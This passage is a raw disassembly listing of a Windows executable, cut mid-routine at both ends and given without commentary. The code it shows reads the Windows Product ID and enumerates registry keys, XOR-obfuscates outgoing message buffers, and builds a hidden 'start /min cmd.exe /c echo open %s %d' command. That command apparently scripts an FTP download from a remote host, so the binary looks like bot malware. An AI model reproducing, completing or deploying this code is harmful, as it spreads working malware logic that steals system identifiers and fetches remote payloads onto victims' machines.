		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 29202F8h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 29202F8h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2950231h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		call	near ptr 29202F8h
		nop


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	near ptr byte_5FC011
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		db 0AEh, 2 dup(0CCh)
byte_437AC0	db 90h			; DATA XREF: ___:off_43F004o
					; ___:0043F018o ...
		db 0E9h, 47h, 0E4h
		dd 0E990777Fh, 777E444Ch, 7F18F6E9h
		db 77h,	76h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0B2h, 0FFh
		dd 7DE97780h, 25778101h, 8101FCE9h
; ---------------------------------------------------------------------------
		ja	short loc_437B00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		dd 7E99F2E9h, 0C18BBB77h, 0F1D400C7h, 4C20043h
; ---------------------------------------------------------------------------


loc_437B00:				; CODE XREF: ___:00437AE8j
					; DATA XREF: ___:off_43F1D4o
		add	[esi-75h], dl
		icebp
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 80FAFBE9h, 0E990C077h, 777E5424h, 7F04E990h,	0D9E97780h
		dd 537780FEh, 2300E990h, 0E9907780h, 7780FD9Ch,	487DE990h
		dd 3D83777Fh, 5109B4h, 0FF0C75FFh, 90042474h, 7FD25BE8h
		dd 68C35977h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 464DE990h, 0E990777Fh, 777FF5E8h, 7FF5FAE9h
		db 77h,	46h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		jmp	near ptr 77C4FA10h
sub_437BDA	endp

; ---------------------------------------------------------------------------
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
